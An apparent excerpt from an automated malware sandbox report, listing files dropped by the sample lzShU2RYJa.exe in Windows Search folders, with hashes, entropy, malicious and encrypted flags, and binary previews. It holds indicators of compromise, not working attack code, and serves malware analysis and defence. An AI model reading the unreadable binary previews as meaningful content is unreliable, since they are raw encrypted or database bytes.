.?ex..`..o.r.....r.(..F..t..@..&..G.t....AK.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\TokenBroker\Cache\95d9a2a97a42f02325559b453ba7f8fe839baa18.tbres

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.932581711471883
Encrypted:	false
SSDEEP:	48:o+kBSjRIlr+U/mUUbvmh39hVw1UP6m7oB6O38393YI/knvU8m06L57JSBRiM0TcA:/kBLZPULE9hySz7oLi3UnvUJ06L5AN0X
MD5:	F155DC6E51048ACFB8C6874BA806B05B
SHA1:	4B88D323335F98941CD75917FB97BBE5468B9E51
SHA-256:	FBB6FA3DCCBC2BD41196B8A1EA715BAD1AF28BC2EA818CC5FF0EDDD8931057EF
SHA-512:	F986D3E0C1D65896C5576E0374393C6D0EBD685B1D56DFCABC4D1ACD95C7D7CBD8DEDA2CBBC8F4197C23736602F173917DB0F632950D9B55DC61262A21043C00
Malicious:	false
Preview:	{.".T!=..q-.?w.......-yK....B....$z.,.F.-=..q.N....aVGR..ik.2p.qr....`....k>.$'D5...,.m.5..?.Si.:...j..=..I5.......l...~{\|.Hm..~..k.`3.8..W#?0.3..={=V35.Q..Z}^Jc..]-....z\|TG.in>..ll)0.-.[.q.W...\..K.l.\/[.......=.v..da...D#..../.z..bIit.....=...!'S.s.........ZA=.xH.....oZR.Hu..Gg.z...Y.Ml......[...N.m.ZX...q.oM...+.....y;....4m;,......gx..qY9.0.....)).[.."...o......~TG...n.!.....3..7.~F....7.._.B.........-z_..A......zFE......Dk..r N....{.....In.4..0...2.i{.........T.m.o...\.....m.....7...{...g^.M.f.........&...~......c.w.<.8[Z.....0..2.....zpPp..w.8...D....$.k ..A...t\....k.)...@.Z.2.H.............y.?.&Y..(.......y.\>g..w.c.....+D ...........>xS...W.J.....,.\|.b$.r..x....7a.B.r..r..[B...............SA..Z...b.{W.SS.n..VH.h......sNx....&....Ac%:F<...x.....N.X..{.......;...!.u.:...f.0..9}...U7x+gN.(G.......Wp.I"<.O4...9...j.H,..Z..9"...^......z.>.3..Vz...)......}...&.../6.....G.N..M..c/..%.....-..(...\|T.....:......r...................

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\TokenBroker\Cache\fbaf94e759052658216786bfbabcdced1b67a5c2.tbres

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.916505307922685
Encrypted:	false
SSDEEP:	48:rFgNIBofsyzWjh+EHfhKkWL+2u0kt60ObVtEPmqXZeXqbPdGCrXFD:ryAWLijhRfIkWLt5EPoqpLr9
MD5:	1D140400470E76D18DE76C7088377EFC
SHA1:	48F67072124A43C049EC8D9625AA327C84ABB031
SHA-256:	94B4B0B55329A547C3A0B0DDBB603EFD7D0E482DC1BA294B9D0A4A2B19AE93BA
SHA-512:	472536DC398EE15D6BAE1E6B58453CFA56B7D3B9AE0CF064A2E99C868F2F77D5A8164CC6FF6741D405328AD11C87E6C482350B27D7BF8370B682AD6595B7DC59
Malicious:	false
Preview:	{.".T...M..l.f.)...9.\|.W.....Z<.2#.._.....;.{p....S..Z..........>+C.]&.c....N.....JF..._0o.>[.i...jU..a.g...F`.....\|w...1.UVs.?.m9T....................Q....A..........C9.Z.....).uV....../..Iq..1z...EElR..NNB.Q.0.L.%.m..'F.%..@....zx..k.!......PX.2.j_.....Tr.....J.%...rb..8..../.9Q.....L +..J...s.F(..........S.Z..;.z.........M;....f...TX....?...........u).c....4..J.}.;kT.%t.......r.;.D....?].F..~..b.D.>....kdO...q..n.\..k._2....@"...\..q..FO....s;dk."..x.~r.."....%v.^>,.I.(B.d...g].B..."f0..o ..0nx..,.o#...)E7.........\|.......%ef.......VO\|.8..Y.y.4..u2.P.f.b.j...[vB.g...Y......0e%/.U._0...)."..pz..7.......'V.....R....*........I.z...4YX..?.^..<...)b........#..d0..G.}cL..?..r...U..;....Z.3.re.K.6.Y=]...nG..#...Z........p..~...Vv...S,4Y.........FTB..8.BB0+0y..........b.D.m..$..C.........p%(....M..l$E..A.2.]....Y.A..m..D...........;._.. b......>R..tVn.......0p...@...>5.z.....U..B.E>...daI.Q.....'..W.......b.J.0;1.E..,

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3189593751491246
Encrypted:	false
SSDEEP:	3072:fM0/i+lQi9UR5SbEsop3x+CQZYEKdwzGgADqDW3ir/+1qgXQEUTaPa4:fs+2EEsaBikb3s0qgXj
MD5:	F82B03A291C18013325100CD87C380E4
SHA1:	F516D4DDD6DA22312D3A59394BCC594B8A2FDA0C
SHA-256:	064A24AC6EDFF7A3B03207B89768AF52B5B122FB717B63A9785F597A458F0C49
SHA-512:	0A828A503887F0992D608D9918F5CBB599A1746CA2C295771E8B70686CB703D133D29D4B000822B9FC3A0A57EE927D008B5011FB2474F4861AD6BE66559A9755
Malicious:	false
Preview:	./...t.J.\.......D6A.V...S..B.;d..{........k+...m.....^.S................7..uxY.3.+......S .c...9.;..S09..R-Bgr!m...D..C.>1{:..-.!..R.....rL.....sX.................L'.U-...8...[......GhTi&...=.S.WQ2n..Zm.u].".t..^d..c..#<..<....Ev-.N3.@.v..?L.._..1 SJ....A.`Q.....Y$}&e....1UI....{V.b..G]..?.C.4.h..e.2;...t\|1..}.[..78..d.r$.%..v...T......&.6^o...... ..q._. ...44..;'..2M.w.Y.z.........v.&..Q..MV.}.{]..1.S.L.!..(..Y.~.{...5i....BH):.}.Qi?2Cu.{&..R.t.JL....5..l......t\|.E%D.F...\|._.{X.:....D.cC':..TdyU.{.{.a.B........`^qlP...2.uLkAP$6V-W......A.-r....,@]..S,..?p...9..J.F+.?.Y...){.V...}....qY../..........#..F{.g.'U.:VVIDO..#&...FT.L.si.5"........U...Y....]..I.5. ..-.N..H.7...e.=.Z..Y.....s..Q..+1T.x......U.. ....G;P.$......i.f...U*.m...]8RES....Z/..qd.....<..R..E........{.."[eE..;K...`aV.4.......#eb._.,...F......53........jVz .[.D,7..bu...]...C......y..G.....#.chy-.9..M.V.c.{.#.....68V.`..Az.-.....%............K..In....]...}.dp..y.....;......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.987322396803331
Encrypted:	false
SSDEEP:	384:gEWc8JMTsf8ZLbr0iK8nVdoj4SK+5NsDyCOMZHCtr4YfBxPCc11wCUeM:gEWVJMYfE/rHK8odk+CxZit9xPbZM
MD5:	66165EC356368D07DB5721D5C5388206
SHA1:	A9558FC5996B4B3641C56CC5746F8CD1FCD612EA
SHA-256:	11E1CEBBA0AF1D0BF5270FE301DB21DB386E76B406E989F9F07A3BC456716C36
SHA-512:	036FF4E32F6B9F30631BF5DA7F136A769F37DE80B852445D951DE8423D537D25172C722547B2B3423CC2AAA3A1FBA598A78FEA8DD1097156BB75F55EBF97664B
Malicious:	false
Preview:	@.v...v"I......5...:..[.^..g.....b....C...J..,.GL.^..VCQsl.k-p.9......+R.Z.F.....U.^.K.mqS..A;.{.#..<..@........n....z..u...4.............N.....T}..y.Ke\|..$.9.R....o.....y.t..+.d..`.....&.yz....#H.iE0..z3..!$.!........IRW .+..&....H.\|>.....:..=4..mA....e..=Ql0..cDg.'.n.L4.0.3....`'.^^FiJ.^..X.2.!....R.s......D.!..&.J..5X.I.;...1..`"a..#.F,bo..q.E..v...\|.f..K.c...X.^..1b.y.p.e...w-..+I.t,...d.F......3e9DY..%q...$.A..[....f.s.....=.#..X.8t...x...7.$......(...Z.QC...M....O.J.#s......v..jH..."e.r......(..s]....^$.....Y...:..2.Z...y......'.r\|..M......#.j..3. m.0.<...4..-eP5.}....k.}.\|.}.W.=....C+O.r.3}p....@...7........=[.A..P..e.h..{.".u.`..L?..5G...1.1%f....._...2..o...u>).U..,.#.m....n..q7`.9.X>...H.C.i...l...XyJ.N..q..-.3..1...P...->...Q..C.`xiR..[.q/...0'....?..J$..&....C.W.b .*A.._\..-{h..@w...K.l...[......W....j.Up.W.0\...c...VE..F...\|\...%lp0'.=..Z.Hre.EwHL..R....r..P.k................[P.;.....KQF...7E{..w..v....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2097486
Entropy (8bit):	1.1133254709702123
Encrypted:	false
SSDEEP:	3072:U6aPiyG5fY4P6Xxf9aXf77hd/Q7wP+yYd9Uei342mZE3W63bFd4eaxDfax77:U6AiywYVBfIvvh2K+XtE3W63v4Rs7
MD5:	7A0EC3E5BDCE075EF447371D2BAF9A7B
SHA1:	5B8CF5BD0BAE17F083455C027A9EC5985BA9BB55
SHA-256:	B180E4EBF68D5B9C59ADEBE33CE14A604FE0E00E07B1236C7F1BAD3E457D083B
SHA-512:	4784041307D716EEC3328D7FCB4B09481635B9AD0481E3AF320F38DF53953BD15CA58939192DDD3BDD581B3B2B7D520294C41091B7ECC3F77C8B8C9EA5845628
Malicious:	false
Preview:	.....^...3.G .=...l...+.3Q..=....Ry...7cw....9.+L+..e....2.......sn........v!U..S.K...t.s2...Cm...E.l....)5...V.........n...~.f@......k.uI.Ax...q.#.e..ad...+....D.{..?...cn.`.1U.U'..7V.c..Dg.NKl,Iz.":.....Z..x."r..!{.}.....A...)..X.Y./.^..I..U.1.e{..F./..!.@.L....L9.&./.w.2...RR...F.(......Z)....N....T!a.%xp+..Qo....".d......?_.Z.).zJ.*X..wqJ...Kl..a..I.B.r....IN]........6Ar.8..uRi.._...wm.../>..IV..e....dHO.gM8..8.8..p..;.U.....K.VOj..q.^..f.:.G.C)u..-.....?..p>....~ ....d.!V.P..W...X}..B(05.A]5.......W....QA.l..c.Y..z..0.-.@q..X..P..6..6 +5.^..."..oU....P......g0L......'FQ.>.+,W...6....u...Y.1..P......n.,.......A....d.r......X.(p.Of..3.......w.d.....W.aJf..{6..^.}W..L`...!.w.Pm..X.2...R.C.7...G..4..ae..".......HY)f..9u?...[..).g.-1.....i.f..#8..}.....4...^...pxZ...K'....I..^...l.iH..)......"s.$..:...M.....'0X..g.N}..$...v...q...._...p..S.\.Z..g......@.J..3d.L..HC...m{..V-.q5 V.k..-..2..(..d.{.../..6...'...j`a2_...(.Hx<.3.\....{..Z..~..2ei..._

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.jfm

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988990496667703
Encrypted:	false
SSDEEP:	384:M6xRc56cLrJgUd/Bf9K45u+kcep5ymbmdC+oKReAOGgd5rDPd7V17:Bg5R3Hd/twP/XOBBRefGw53Pj17
MD5:	A270F2B01521F2B30090D64BD1E7FA3A
SHA1:	17D7969C714DBC1D7940ED3B1C49FA4A35FDA3D5
SHA-256:	B745AB6708A5DDFCE28BCBDCB339A6ABFF319167AF09B3353DD4F6F86EC511A0
SHA-512:	7E18BB86BC5E4A03BDD15359B0F629697EB08E54CD33529D110F1A116AB9B9EC978514021DD720999685D47F2275B278C8570CFDA186106F515D1814E51BB98A
Malicious:	false
Preview:	..l...3(..vT.}...-..3.0.T...D.+...P...f.f.g.2lC._.W_zoO..Z.T....V..^.&..4..t...A..@v...q.M...[qv--.=.........q2hd.......G..^.acL...R...0...D..w.......i.sd=I...Kk.k"..Nx..Z..c..bQ..M..3L3.S.wJ..\|V16.MNJ.2.91v.2}.>f. ........)h....j...\......<c.:H.....Z..mN...>..gb8....7FB....._.d.....kC.....Z.../btn6...w. .^.?..b......c..hN....t.xc..hK(.h..,.L.(~.....b.%.sp\|..6......att...{.!%.H.[.B..W]G^....@..9..4!.x....v^..;.@.i.3p.Q...v.,...R.9.b...N..$.x.... .R.....'..7..>F.3I!....P..G....%.f.....\f.si'.{.,..]../.z..?...N...).......l.R.....6..y......^..:..2a..4.V..<...]I...n...L..7....j...'...8D."\.....]!.b..c0....6...+.;.K.z..W}...Q..'.{A...\|].....y.O...-..a......Gd9!..Go.\..Z..8..I.R..m^.w..S:)..2......,....m.......<K..>...yn...Xi2m..^.i.o.....a......;4.=..1...v.....=.............C._8.7NI....&h.....{..a.......XW.._...\...}.U.....(.....E.:..h..J...o....#=y..g`.Yj.../..c4.~..n...6...`..../y..$a..uJH...P. .uS....]..G.)......d.+&)^...X.u.;&....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.chk

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97664457391192
Encrypted:	false
SSDEEP:	192:chuirRerhwuZ8g4Tvp6VuZ1smwHlXMqcwaUMGMOLa:q0rd4TR6Vuf0FXxNMPia
MD5:	0F8DD97BF8A22BB4DCF0370260EC2F58
SHA1:	4AA78FF4E53528A6A29524EB3E07753CCE0E5083
SHA-256:	24D534E4A70A9B354174E9D11D95F618BE64BC77D7780D4A5824296CE9738B11
SHA-512:	56EDA306F9FE00138481BF41BFCF41CF5D4E7B3BB527E6B09BFB29E0A18DECD2F8E82E5B7404D0201DE531CE7B3F37468482A3C118C8F3B1C5EB2C5E29DB21E3
Malicious:	false
Preview:	6.....e==....=.._.X{.:....2R....e...]...N$......`9..".:.rQ.C...o.i......Z.D.^.q.N.j...{..j..m&..B...n.i.....9.!.ML ...6.w.!\|...p.n;....St_o.y.....w.VS..o.@....Aw...8^r-rr..m.....fe....y.c..`...vOc1...g..~U0....?.....a....8E.B...;F..c.....w .b..f..A$.kb.G0@.....(."ZN.t.t......t#..z..BF....>E..e...f.B...Ys...P.9;....-........%.-..'''?.Y.+.......l.@$,..K.......L....z.E..Z&7A..Im$.`.d1.J.^\|.0O:.uW5ha.d./\..,.!..y..7o.aO..>...EEz...v.....QU...H..s52....p#.!..>&t.ly^....'.....G....cM.u...O...H.-..T,...Q.<...?A.....Hs..W.....U..AO3.1..T...A?F./.u......z...&.<...u-....m..6.+W......#..T.4X......tt..aq..>QA.%\|@[.....UM..b.nb.[... .g,..'..fs. ...gop~bUlGF.e......,.5...-}..#...o...8(..g...<L...v\!...1....."9`.H.PY....'..}.vDd.5.Zv.Q.#.....u.v30./..7.vg.4Q.j..._]g....X.g.3...tXJon,.n.w.\......jv.....N.....zX..#A...Eq...b".H..UO..%.@E..<J4.N.]..oDZ@i=.~..\|.0r^.v......,..o.I...L.CJPZ8..=$....{...T..3.L3.......E...!*..lh;.'%E....f...:AP....L...g..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208029702058624
Encrypted:	false
SSDEEP:	3072:8/0fWSCXkDGWgn69O+a4JLc1ynyldqzZCvyCvrBgsv:8sYUDGWg691lLckarnv
MD5:	F914DB2A2F976F869D6E8BD73B02961A
SHA1:	C5FAE871664E8FF25FE886EC6080777577EFDBAC
SHA-256:	50205EAADA455CA702812D97ED12FEBF71D514A1231B712A57A76BFC43F0CC6E
SHA-512:	0391FDC8C100FF67D065B627678F31694D402CBC354EB3373FB1EC0D5FE62267163AC9B5CD00D39436DBF3AEEDA2798D6CE45010CA51633C0D532BAA97725720
Malicious:	false
Preview:	u.,I......H&..E/..q..@.a..WU.4.j)<aN...0s;...~].Kw..5%...8.9..\.P..r@\|=.x.n9m.%.kb.'[>h........x..h.V..........E~....Y........@O./...'...tjz..T....{..\..V..?...r...)..0..p.h:....<U.Klo.....U...H....g.G...D.Y....O.U..+.y.Jz....A......w......`V.v....^..W .i.....%..s..M..qh...C......b..c.L..W.....E.R.7..Y.......?...\@....ubi...S...Q....v...5.-@./..k.....1..z.w.\O._../..+.^M..#.'.5..C..^..e.4..0..i^....,..::.......`D.tY.....i.....F..y.R..ej@....R...X....^.........y.V6..)Bw..W.G.....6.t.n..TC...9.E...... S.3i..MDZieFj...\|.B...6x....$.>}yJ...4.G9...7.Z^..V.}...M.[.......\..1.dM.j....S...K...@...).."Z...L.x.G......@5'..J...u.k.%..h...<}q.3..[...L..O.%{.,"QO..I.h.,..f.vJR.p?.qM...(.}....GH..\=7......m"r^1ggT...i._.Z.b.q;o....g.j..-....4.(>.....#......N.{.....4tho.F...$.1..p.x..B.QZ...d.sv.K$.y..S.4._...j.[...O.h'.........Xe.Q..,}@..X..z(.j^..9...o[F...b.q..5.w..;....n._........)...\|#...j...W:..j.+....bg...:9..`....=.b..zE.....!5....9..C..E..[!^..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb00001.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.5024508487695156
Encrypted:	false
SSDEEP:	3072:uWQfb8jDp4JlZum2AyitkOJFXbpOd0wT1N71Aerp3evTslC+j8aNcmul34w:+A/Q8inJNdrwT1NB3Oxv
MD5:	EF2F29B02AE4277C19E8E85399C8CD90
SHA1:	56DF4AC12998915F3CC6317970E4E24C3EDAB512
SHA-256:	94D98DC891299F3B6BB1C5DD857E68CE877936A62BAE893622BC1997C6381B9C
SHA-512:	554F4DBBE0ABCF1E4280AC90DA5503A93C6CA2C3F9073E75C76B2CD645DBFB4E5BD83F294AF8BBC8E3C3A92D7122D2DFD688306B13FAA5EC13BA1F781E210FE8
Malicious:	false
Preview:	.........@.....k...0.3.J.-.....m).i...4\n{..v..J+..I.. Q..C.@.~.../..`.k8bQc......./.2..Jz.by.@'...8.?.c$)Q nv....;....,cr.......8.F"u..M.....Q:\...q.l.`'.;....,'...z4X.'.t.........B9...M...C..]r.k2....L3..0El..........E.....I.....%%0.....CM...P...;KZ.....@....%...,.d..'....%..G..<.s81.~...;.A r.g=L..8..nn....<(.&.0../..>.kj..J?..M.lh.n'.&.6uh[.U.i...=...w..UP...E.9UV,..........;....QgJWY..y..D.~...9.c,..[.G.Q.).#O....0..ixG..{..J.{49m...b...m.sm...O....v;....g:n8g.@...c..b. ..\f....R..Nz..xJ[2.D...j....$......1?...F...l._rA..........H..5...aM.........Y....f.5n4...X..'`.h.Y.....I.n..O`.....g.....B. ;b.V]~....ju.>r.1..<=d.mD.,.~v.6Y.K{LR.....5F(.l.....'_..x...zN......,..$VM.V.g.m]&...@.w)x.%.{...70.W8.....pGG...M`.).hsI.0h..H.w..;..._?CoQ......+.;@......h....5...bjtrrd.z....Z.g.ob.Y$l}..@....Lkg..5r...O.j}\|...dc..ABr..{..s.iQ...F&.~..D.'..*<.\...6jNn..t.+._.}.4R...M@d.ez"Z.....).mN......0..G..,e...o.$w.5.{.\.a;...z.}A..\|..'..".b.\|.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207796356853045
Encrypted:	false
SSDEEP:	3072:ZoMLHb23b9nv3OgAJ33YDTgoykNGKqi6ojhlYWgqzF4b//Dyc:17b+bVWgAZzojGq6ojhlrzF4b3Dyc
MD5:	950ACAA1B68CC3A8279A1D9ED01A0717
SHA1:	61E7EAC7E2D51FE1F77623D2CC996FEF6774AE94
SHA-256:	1DCD7B6F9E0933BCD31C066EDDC1F0411D3E2CC15D3408D07E674FE1414C9A35
SHA-512:	080548BB42093A0AEB5032B3196B484464FA7D2B036C8148F5C62A4124C1DC484ED965187CDB53AFAE9B0C676AE5031EC5EA23ABCA72BD2FB5B4D8310A7675D0
Malicious:	false
Preview:	..........#.o..&m.F$?h 1+H...I...f.).q.(.GzN.)...@....2...T.&...V....H...-....D.i...\|.^..~.......I'.+....T.5.....b.7".T.(....../E_Q.J..P0.....o..F..4..I;.G..........1...0=:..?...S.P.'...M).3X.8p.$Y..,..-.g.....#....o.t7."....'0.zv...'..H3..2..^...u#$S.......E)....HN..z......H.R.!P..(K9...#...J...K]....Y..x.B".M...b._.V@(...T.)...@....BX...xY...WE\.S^.....R!.#W\|(..Q.....Ju.5...:s.K.{..YJ4......,N.J....`Mma_...........]B....I....k%.uZ@c.".BH..&.........%...#....j..}.0...hO.B....I..NL~.J..`..e:.a.......cN..t.......y........E#...-.c.......TG.qD..ku.%2..J..vE...c....l.}.B-~.5..g.&.&?...-s..0>:.m..z..(.U'.....p..e..N{.d\.....2V.d..;g-.0.{.B.C ............./A_]......I.,.[......^e...;T..........M.U2..#LT).g..v.R.....K.Q..z........i..M&.\|..A.f5..`t)..A.........ig..(n.Lr...^;...K..Y.-(....b....,3.)......$.n.U...B..};...UR-Hs...,..[...sb\|.3...QC6..f....gA.H...t......W0ss...fV...\..W.GGt.....N?.\%.M.P.$T1s...<>..\|V.B.....4y=..T.o...J;...t.B,.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2081224036054965
Encrypted:	false
SSDEEP:	3072:Y007RAxC9OJuLYAKlurITbFKng7Asw192xrALrITeAfS8X9:YzyxC9JY30/ng8x1YtAnnAqM9
MD5:	A8F471FF5657D0889ABC1AAE8D54530D
SHA1:	0EDA68F7793E682C40E2AAB6B001937E999691CE
SHA-256:	61DC5B08676311367EC60323721417BB691091C58EB838387AB4EE568BAD6FC2
SHA-512:	F184C808048CDEF471619F462252CB902520B3A179BF7144009D5600BBB329B2E59F50DA29BEC32C8095F17C107C7CE2424A1C12304D969838A82EE5A014B4CB
Malicious:	false
Preview:	.......\|3<9....{.T.).-.3.Nr.RH.7.c.....M....+.&.;.X...2R.W...dG..Ls?. .6..?......>....@...n...`.'.)..4(%O...n}.......a..;zb.u#F..Z/.V..K..5.H..)4........We.Z......Xp...4..\|.....9.m...(t..Nf.0;.V....T....5...;.5....S...?..7....y$x....9.+.080..f.............Ef..A.+.......&f.n-w..O-.....W\...t"I....\cd;...`z..B.\.^...1.....:..G....E!.\|.....s5..G.B...,r,..0s$}kJ....G.S_.G... ..D.....6,(..(......H.;..C\|e..v)....70/]TZp...e.B...j..4.]..&;...Iy..[o...<.H.Q.H{..E/....9.u.X.....p.....d.fZ.........lhK......fE7.9:..&..i..h...n.E.u...O`.Rq..j...r...8..=.~.ils..Z@C#.v...,.p...%........!X...K(h.......vi.\..XJZ....G..`.C`.1A...J.G.L}2..I~..h9.b.-r^...JZ.W..:.T....}.#.+64rO.. #..T.6*..R...9[...q.........1.JrQ..C.5.,....N......1W...R.=.p..e........a...M.n&....D$...3....7x~..m........]9. .d......;1#A.1t2$......G...(\|...fb...;.y..7O..._....X&.......[=..x......U.I`............3.......L}S.\|.e......;...ULd.."....J. .ol..:_..8.'N..K.]..}..g'.).%.} .z...$.^....,

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207965092086277
Encrypted:	false
SSDEEP:	3072:Utnqsyv9xPJE4hb/K3O4ZX1xW4V+pIRkcscVYX9SKn7au3ew/jQ9p:UtqxvY3/1x4p+vE95Ljap
MD5:	B962BFD80D79C9AC5CADBA36BFE5779E
SHA1:	273244E5CC034F7BD1148EF926FD083A45D4134F
SHA-256:	1DBD197D94314BCDB73935E837E00569D9C36EC3435FC4A119A9C93390EDAEF5
SHA-512:	807F4943AA8CD38CB83D1BB0B5DEA0118610E1D684BD6B4B0C15807FBB4307F9F3AAED0FA86195939B13C3D8CAF1E070BEBD3717CB86B1D3A3CE97166EC1A2B4
Malicious:	false
Preview:	.....L.A.".A..U.Q.%..g..b.j{.........zy.0......`AX.(..h:..n^$.X.. ..]sq...O..=.......Q...o..'69.F./.....hwc.."0E..3."z..U2.-E.K.s.wP....&...2.>F...tOk#[....}..z.......d.u$..^K..........J{.?.$g.(.C."...G...P.o!N7.3KO......s.%<...!....z.BX.e.....\|...!.....a-.=P..tV_........q..$.[.v...:..6h\....t=./WX.jC...G.......N.r..E....r.......Cp.............A....x^...B.;.....5+\|.K{..j.x..8..o..ox.....A.R.W...z=\|.Q.5..Z.`.TA......G.......x...?E.{...X&.P.b.J.k2.[..7...RQT.@.^..5.@}!w...$;..o..#...N.%T...vd.G....@.J.\|?Fq._..=....a./......:...D......,N..Gi..Ao..`RA.M...m.;..#....\|.J...!.......+..$~..G.....%.B...."..."Z\.I4.y`.......Ov..,3..`...S&.]..:..S....A.C..\|Qa.kB:....h.Qu......5.cq......V..i\,.a....K.1...vc?...Co....Y...I.G..$y..}..3..Hw..66..x.&.2\|3......F./.f.......>. .H_]..Im.y...'.7\|1Z..d.A1.....XS.;.+...er!........,.!.C4d.i....T...E..m.0 ....dG..........]Hu.@..Z.@..F..C..........._..}..B.$F.O..].]M.....6..2...VJ...A._....o.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	37788
Entropy (8bit):	7.995572538771704
Encrypted:	true
SSDEEP:	768:TB4tsiZXQL1izwEi0St/B7wtBsn3T2JhbJKqZupH1XXlsmqJn:isihI1ibM7wwT0TlZq1HlkJn
MD5:	6B1116247E257EAFF69FD65EC5D6D98D
SHA1:	83805D54D73752E40838E1E7516EF14663B3B342
SHA-256:	CD4AA5122171966A544F84534E8F8BC1835871B17262C7D1B510B7328284B33A
SHA-512:	4639646BC9A99E0863B618C2AB60FA7D6AFE5EF5FF3A48BB5BDD685944D1D01FCDDCAD050616BF261AD7EDA8F01BB7033F2424B418AECFC48FB5D1F949820082
Malicious:	true
Preview:	0.0..f..#.C.7.s }............(0V.R2Er... X>....(....5..%.XI..B....\|.....;..0.(.{....<.sZ..t.i..G...;...<..n.\|#f]x.1.3.....m^.I...l.Y.e..>.n&\....R."........c.{..p....^....y..f.;.......n........<...r.A....4../#.....4v..\|f...Q.;...n.._.....Q...V.>0.%..X.cTp.X...x.b.<2...).6..f.u.,.......Y.J.W..i.Nr..r.a...bg.../.o"xj}.....y.."b..g.:.w..7...\|."#.....S..........w..g...U....W....w...->#Q..[....,....`..Q...}.5.I....1.).&...D].~....N..i.,j..?...u...n.{....e..sL...k...........".8\.s\f.r...`.3...m..8\|.Gq..++.5v%.RN.u.I,..GR..mIIDA...v..M....h9.z.....#......z..f/"h....U....2....?lK.@...md....W3):i._(..7..c.`5.......!1}.>.......I6.....>,G.>..6..K......s.D..9N......p..M......u..4..SH{.V}L I`....sd.8^W.$..A..s.xl.I]...".P'u.\|C...9.HZ...C....D.2!.~hf....I.K...Iq...n7r]O....Q.r.x....J....%.4.,..T.?...+...T.\|D.......$.XU}r....d..a.W..t...O6.E........'l.P.x..p.....[x..*Xs.P...5.D...]...!.....,.R.$."..'...^.v.5..].... xIJ.v.gAp13..._O-...+f?@.....5.l

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c33d893-bc92-487f-aede-304ebfc79509}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	50753
Entropy (8bit):	7.996500019181568
Encrypted:	true
SSDEEP:	768:ipfhHrwEYkBBJYUBCkfpiZo/eB1aZCAokNmgwaDXik6J0ptomJYfo8yGkBqGN5Ph:UhAECkEZhBsAAoemwCO8mJt7RGfKZbJ
MD5:	36FB8C7101EA506D4E5E7942D82797D9
SHA1:	EBBB46A1F3CAC09508CD08B9285BE5F4A83086EB
SHA-256:	077BC245FE13EA15F512B4916E5BB9A594AF756137AFF1C81F5764053F922E53
SHA-512:	9B410705CA18E1F5951975070102EF2D27F8E3CE81406860511D4C8AD9A395C59282D6DF3CBC22CA26678D66B2D0125B90F39DB90410149C1A9E26592B76DF5D
Malicious:	true
